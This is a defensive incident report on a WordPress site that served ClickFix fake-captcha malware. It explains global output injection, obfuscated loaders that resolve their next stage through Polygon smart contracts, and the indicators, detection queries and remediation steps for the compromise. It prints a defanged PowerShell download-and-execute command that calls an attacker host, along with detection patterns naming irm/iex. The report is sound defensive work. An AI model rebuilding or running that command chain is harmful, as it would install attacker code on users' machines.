Publication status: Published. Prepared by: Bob / Defensive Security Research Date: 2026-09-04 UTC Subject site: cufl.ie
Executive summary
During investigation of a user-driven malware execution incident, we confirmed that the public WordPress site cufl.ie was actively serving ClickFix-style fake verification malware.
The compromise presented visitors with a fake captcha/security-verification workflow and attempted to socially engineer Windows users into running a PowerShell command. The payload used clipboard manipulation, fake Cloudflare/security-verification theming, and browser-side JavaScript to guide the user through execution.
The most important technical finding is that the malicious JavaScript was not isolated to a single visible page element or a normal static JavaScript asset. It was appended globally into WordPress output, including REST API responses after otherwise valid JSON. This strongly indicates a server-side WordPress/PHP output-injection mechanism such as a compromised plugin, theme file, mu-plugin, injected database option, or PHP auto-prepend persistence.
Key takeaways
- cufl.ie was actively compromised at the time of external triage.
- The site served ClickFix/fake verification malware to visitors.
- The payload attempted to make Windows users execute PowerShell via copied clipboard content.
- The malicious code was globally appended into WordPress output, including REST API responses.
- Multiple obfuscated JavaScript loaders were present, including blockchain-controlled configuration loaders using Polygon RPC endpoints.
- Several WordPress components appeared materially outdated from external fingerprinting, including Elementor, Elementor Pro, SportsPress, TablePress, and FooBox Image Lightbox.
- Public blockchain RPC infrastructure was abused as part of payload resolution. The RPC providers themselves should be treated as abused infrastructure in this context, not inherently malicious services.
Scope and limitations
This report is based on external, light-touch triage of publicly accessible content from cufl.ie. No authenticated WordPress access, hosting-panel access, filesystem access, server logs, or database access was available during this review.
Because of that limitation:
- Active compromise is confirmed.
- The payload behaviour and injected indicators are confirmed.
- The global output-injection characteristic is strongly supported by public evidence.
- The exact initial access vector is not proven.
- Stale WordPress components are credible risk factors and possible ingress candidates, but not confirmed root cause without server-side logs and filesystem/database review.
Incident overview
The site was identified after a customer user visited cufl.ie and followed the fake ClickFix instructions. External review of the site showed malicious JavaScript injected into the public homepage and WordPress REST API output.
The injected payload impersonated a security/captcha verification workflow and instructed users to perform keyboard actions consistent with ClickFix tradecraft: open a Windows shell, paste a command, and execute it.
The embedded Windows command retrieved and executed remote content from attacker-controlled infrastructure using PowerShell.
Technical findings
1. Fake captcha / ClickFix payload
The main malicious JavaScript block included a fake verification flow and a Windows-specific command. The command was constructed to retrieve a remote script and execute it directly via PowerShell.
Observed command, deliberately sanitised so direct copy/paste execution fails:
powershellirm (('{0}{1}' -f 'hxxps[:]//','')+('inte'+'rnetserchinkas[.]co')+'/hex/lom/84aa3f59') -UserAgent 'WUA/22ab8f9767' -Headers @{('X'+'-WUA')='22ab8f9767'} | <EXECUTION_REMOVED>
The live payload used PowerShell download-and-execute behaviour. The version above preserves the command structure, domain, path, user-agent, and header markers for blue-team detection and sandbox reconstruction, but intentionally breaks the protocol, defangs the domain, and removes the execution sink.
This is typical of ClickFix-style intrusion chains: the web page does not rely on a browser exploit. Instead, it manipulates the user into executing an attacker-supplied command outside the browser security boundary.
Confirmed behaviours in the injected JavaScript included:
- fake verification/security/captcha UI language;
- references to Cloudflare-style verification theming;
- clipboard write logic;
- Windows keyboard instructions;
- PowerShell command staging;
- localStorage-based throttling to avoid repeatedly showing the prompt;
- tracking callbacks to attacker infrastructure.
2. Global WordPress output injection
A key observation was that the WordPress REST API endpoint for the homepage returned valid JSON followed by appended malicious script blocks.
Endpoint reviewed:
texthttps://cufl.ie/wp-json/wp/v2/pages/3926
The JSON object parsed cleanly up to the end of the legitimate API response. Immediately after the JSON object, the malware began:
html<!-- BEGIN: X Smart Traffic Monitor -->
<script>
window.XTracker_FCPJ = {
loaded: true,
version: "2.0.4",
timestamp: new Date().getTime()
};
</script>
This is significant because it suggests the malicious content was appended after WordPress generated the response, rather than simply being stored in the page body as normal content. That pattern is consistent with global output-buffer injection from PHP, malicious plugin/theme code, mu-plugin persistence, a compromised include file, or PHP auto-prepend behaviour.
3. Fake analytics/tracker wrappers
The injected payload was wrapped in multiple fake analytics/security labels. Observed injected block names included:
- X Smart Traffic Monitor
- X Secure Pixel Stream
- X Secure Link Keeper
- X Secure Analytics Helper
- XGlobal Link Keeper
- X-Elite Pixel Stream
- X Dynamic Data Flow
- X Dynamic Ads Tracker
- XAdvanced Traffic Monitor
- X-Advanced Data Flow
Observed fake tracker variables included:
- XTracker_FCPJ
- XTracker_TYKW
- XTracker_CYOP
- XTracker_NZVB
- XTracker_HAOH
- XTracker_GMOF
- XTracker_NOWF
- XTracker_QWFN
- XTracker_NIBJ
- XTracker_FUAX
These names appear designed to blend into legitimate analytics, advertising, or traffic-monitoring functionality.
4. Obfuscated blockchain-controlled JavaScript loaders
Several injected JavaScript blocks used obfuscation patterns including:
- large base64 blobs;
- XOR decoding loops;
- TextDecoder;
- dynamic code execution via new Function;
- runtime script creation and appendChild;
- Polygon blockchain RPC calls to resolve next-stage infrastructure.
The decoded loaders queried smart contracts using the method selector:
textb68d1809
The contracts returned URL strings that were then used to construct runtime script URLs of the form:
text/api.php?s=<campaign-token>&_v=<time-window>
Contracts and resolved URLs observed during triage:
| Contract | Resolved URL |
|---|---|
| 0x0856780A9aC5169592B693B49E87805A64C1D446 | https://abcsgftr.cc |
| 0x0C7Cb01C83203aC0a50Abc3a9AFF3c9Ca727eF55 | https://mon-blanc-02.cfd |
| 0xbb9b2df9DCBd487212052DA0974d1A2E388322B0 | https://thu-ipad-03.cfd |
Polygon RPC endpoints referenced by the loaders included:
- https://polygon-public.nodies.app
- https://polygon.gateway.tenderly.co
- https://rpc.ankr.com/polygon
- https://1rpc.io/matic
- https://rpc-mainnet.matic.quiknode.pro
- https://polygon.drpc.org
- https://polygon-mainnet.public.blastapi.io
- https://polygon-bor-rpc.publicnode.com
This blockchain-backed configuration model gives the attacker mutable infrastructure resolution without needing to update the compromised WordPress site directly.
5. Attacker tracking infrastructure
The main ClickFix block referenced a tracking endpoint:
texthttps://securityalertcaptchacheck.com/lom/api?t=73889376a9e978787a218b956c19100693df4861&track=1
The same script used a campaign token:
text73889376a9e978787a218b956c19100693df4861
Additional loader tokens were observed:
- bfa8d66687ce0fd20ad81e377f3d0a63841b42231a0c7f95
- 531ce2f2fa18aeadcf7ac66309d8d94a2be425a1760df12d
- 355d983b483b7b665fd8efd21f72082436aeea2d6b19a437
- 55d3781e9701b9a0eae703f6438b1b85aea7e64e3a74115f
- 93e401528b05efd8bd0e3b171a2d3f74b031ff10ea025a93
- 4be65b0fa8d84ec9e83e1cad68ba4c6284fdbc4afc25bbca
WordPress exposure and likely contributing weaknesses
External fingerprinting identified the following exposed WordPress/core/plugin versions or asset versions:
| Component | Observed version | Current version observed during triage | Notes |
|---|---|---|---|
| WordPress | 6.6.7 | Not assessed as root cause | Generator exposed |
| Elementor | 3.6.0 | 4.2.4 | Materially outdated |
| Elementor Pro | 2.8.5 | Not checked via WordPress.org | Very old paid plugin; high concern |
| SportsPress | 2.7.6 | 2.7.31 | Outdated |
| TablePress | 1.12 | 3.3.4 | Materially outdated |
| FooBox Image Lightbox | 2.7.16 | 2.8.5 | Outdated |
| Clever Mega Menu for Elementor | 1.1.2 | Not confirmed | Exposed readme |
Public readme/changelog files were accessible for multiple plugins, which made version fingerprinting straightforward.
The presence of outdated plugins does not, by itself, prove the initial access vector. However, in WordPress compromises, stale plugins and themes are common initial access paths and should be prioritized during server-side root-cause review.
Likely attack path
Based on the available evidence, the most likely sequence is:
- The attacker gained write access to the WordPress application, filesystem, database, or hosting environment.
- They installed or modified a persistence point capable of appending JavaScript to front-end and REST responses.
- The injected code added multiple fake analytics/tracker wrappers to blend into normal site output.
- The site served a fake captcha/verification overlay to selected visitors.
- Windows visitors were instructed to execute a PowerShell command.
- The command retrieved and executed remote content from attacker-controlled infrastructure.
Confidence:
- Active malicious injection: high.
- ClickFix technique: high.
- Global output injection: high.
- Exact initial access vector: unknown without server-side evidence.
Impact
For cufl.ie:
- The site was actively weaponized to deliver malware/social-engineering payloads to visitors.
- Search engine, browser, and reputation-system trust may be affected.
- WordPress administrative integrity should be considered compromised until proven otherwise.
- Any credentials stored in WordPress, hosting control panels, SFTP/FTP clients, or reused by administrators may be at risk depending on attacker access level.
For visitors:
- Users who followed the instructions may have executed attacker-controlled PowerShell code.
- Execution occurred outside the browser sandbox, giving the payload access to the user’s Windows environment under that user’s privileges.
- Follow-on risks include credential theft, remote access tooling, persistence, reconnaissance, lateral movement, or additional malware deployment.
Public-safe indicators
Domains:
textcufl.ie
securityalertcaptchacheck.com
internetserchinkas.co
abcsgftr.cc
mon-blanc-02.cfd
thu-ipad-03.cfd
URLs:
texthttps://securityalertcaptchacheck.com/lom/api?t=73889376a9e978787a218b956c19100693df4861&track=1
https://internetserchinkas.co/hex/lom/84aa3f59
Smart contracts:
text0x0856780A9aC5169592B693B49E87805A64C1D446
0x0C7Cb01C83203aC0a50Abc3a9AFF3c9Ca727eF55
0xbb9b2df9DCBd487212052DA0974d1A2E388322B0
JavaScript markers:
textXTracker_
X Smart Traffic Monitor
X Secure Pixel Stream
X Secure Link Keeper
X Secure Analytics Helper
XGlobal Link Keeper
X-Elite Pixel Stream
X Dynamic Data Flow
X Dynamic Ads Tracker
XAdvanced Traffic Monitor
X-Advanced Data Flow
captcha_executed_
cfmd
b68d1809
PowerShell markers:
textinternetserchinkas.co
/hex/lom/84aa3f59
WUA/22ab8f9767
X-WUA
irm
iex
Detection opportunities
Web proxy / DNS
Alert on users visiting cufl.ie followed by DNS or HTTP(S) activity to:
- securityalertcaptchacheck.com
- internetserchinkas.co
- abcsgftr.cc
- mon-blanc-02.cfd
- thu-ipad-03.cfd
Also consider contextual detection for browsers contacting public Polygon RPC endpoints immediately after visiting a non-cryptocurrency website. Treat this as context-sensitive; those RPC services are legitimate and should not be globally blocked without business review.
Endpoint / EDR
High-signal behaviour:
- browser process followed by PowerShell execution;
- PowerShell command line containing
irm,iwr,iex,-EncodedCommand, or remote HTTP retrieval; - command line containing
internetserchinkas.co,/hex/lom/84aa3f59,WUA/22ab8f9767, orX-WUA; - clipboard interaction followed by shell execution;
- PowerShell network connection to recently registered or suspicious domains.
Example Microsoft Defender Advanced Hunting pattern:
kqlDeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe", "cmd.exe")
| where ProcessCommandLine has_any ("internetserchinkas.co", "/hex/lom/84aa3f59", "WUA/22ab8f9767", "X-WUA")
or (ProcessCommandLine has_any ("irm", "iwr", "Invoke-RestMethod", "Invoke-WebRequest") and ProcessCommandLine has "iex")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName
Example Sentinel hunting concept:
kqlDeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe", "cmd.exe")
| where ProcessCommandLine has_any ("internetserchinkas.co", "/hex/lom/84aa3f59", "WUA/22ab8f9767", "X-WUA")
or (ProcessCommandLine has_any ("irm", "iwr", "Invoke-RestMethod", "Invoke-WebRequest") and ProcessCommandLine has "iex")
For environments using proxy telemetry, correlate:
- User browses to cufl.ie.
- Same user or device resolves/contacts securityalertcaptchacheck.com or internetserchinkas.co.
- Same device executes PowerShell within a short time window.
SIEM correlation logic
A practical correlation window is 0-30 minutes:
- Web request to cufl.ie;
- followed by DNS/HTTP request to any listed malicious domain;
- followed by PowerShell/pwsh/cmd execution;
- followed by outbound network activity from PowerShell.
This chain is much higher confidence than any single indicator alone.
MITRE ATT&CK mapping
| Technique | Description |
|---|---|
| T1189 - Drive-by Compromise | User visited a compromised public website. |
| T1204.001 - User Execution: Malicious Link | User interaction with a malicious web-delivered prompt. |
| T1204.002 - User Execution: Malicious File / Command | User executed attacker-supplied command content. |
| T1059.001 - Command and Scripting Interpreter: PowerShell | Payload used PowerShell command execution. |
| T1105 - Ingress Tool Transfer | PowerShell retrieved remote content. |
| T1027 - Obfuscated Files or Information | JavaScript used base64/XOR/dynamic execution obfuscation. |
| T1115 - Clipboard Data | Payload used clipboard write behaviour to stage command content. |
| T1071.001 - Application Layer Protocol: Web Protocols | Payload and tracking used HTTP(S). |
Remediation guidance for the site owner
Recommended immediate actions:
- Place the site into maintenance mode or restrict public access while cleaning.
- Preserve forensic copies of the webroot, database, access logs, error logs, and hosting-panel/SFTP/FTP logs before making destructive changes.
- Search the filesystem and database for the indicators listed in this report.
- Inspect high-probability persistence points:
- wp-content/mu-plugins/ - wp-config.php - index.php - wp-blog-header.php - wp-load.php - wp-settings.php - active theme functions.php, header.php, and footer.php - .user.ini, php.ini, .htaccess, and auto_prepend_file - WordPress options containing custom scripts, snippets, headers, footers, analytics, or ads code
- Reinstall WordPress core from a clean source.
- Reinstall all plugins and themes from trusted vendor packages rather than editing over potentially compromised files.
- Remove unused, abandoned, or unsupported plugins/themes.
- Update WordPress core, themes, and all plugins, especially Elementor/Elementor Pro and other exposed stale plugins.
- Rotate WordPress admin, hosting-panel, SFTP/FTP/SSH, and database credentials.
- Force logout of all WordPress sessions.
- Review WordPress admin users and remove any unauthorized accounts.
- Review logs around the observed page modification time and before it for plugin upload/install events, file edits, suspicious admin logins, SFTP/FTP writes, and hosting-panel activity.
Verification guidance
After remediation, verify that public output no longer contains malicious markers:
bashcurl -skL https://cufl.ie/ \
| grep -Ei 'XTracker_|securityalertcaptchacheck|internetserchinkas|b68d1809|captcha_executed_|cfmd|0x[0-9a-f]{40}'
Expected result: no matches.
Verify REST API responses are valid JSON and do not have appended script blocks:
bashcurl -skL https://cufl.ie/wp-json/wp/v2/pages/3926 | python3 -m json.tool >/dev/null && echo clean-json
Expected result:
textclean-json
Defensive lessons
This incident highlights several recurring WordPress compromise themes:
- ClickFix campaigns do not need browser exploitation if users can be convinced to run commands manually.
- Global output injection can affect HTML pages, REST API responses, feeds, and other generated content.
- Removing one visible malicious script from page content may not remove the persistence source.
- Stale WordPress plugins and themes significantly increase attack surface.
- Public readme/changelog exposure makes version fingerprinting easier for both defenders and attackers.
- Blockchain-backed configuration gives attackers a resilient way to change payload destinations without modifying the compromised site.
Conclusion
cufl.ie was actively compromised and used as a delivery point for ClickFix-style malware. The payload combined fake verification UI, clipboard manipulation, PowerShell execution instructions, obfuscated JavaScript, and blockchain-resolved staging infrastructure.
The strongest public evidence points to a global WordPress/PHP output-injection mechanism rather than a single compromised page body. Full root-cause determination requires server-side review of files, database options, plugins, themes, mu-plugins, PHP auto-prepend configuration, and write-path logs.
Organizations should treat user visits to the site during the compromise window as potentially significant, especially where endpoint telemetry shows PowerShell execution shortly after browsing activity.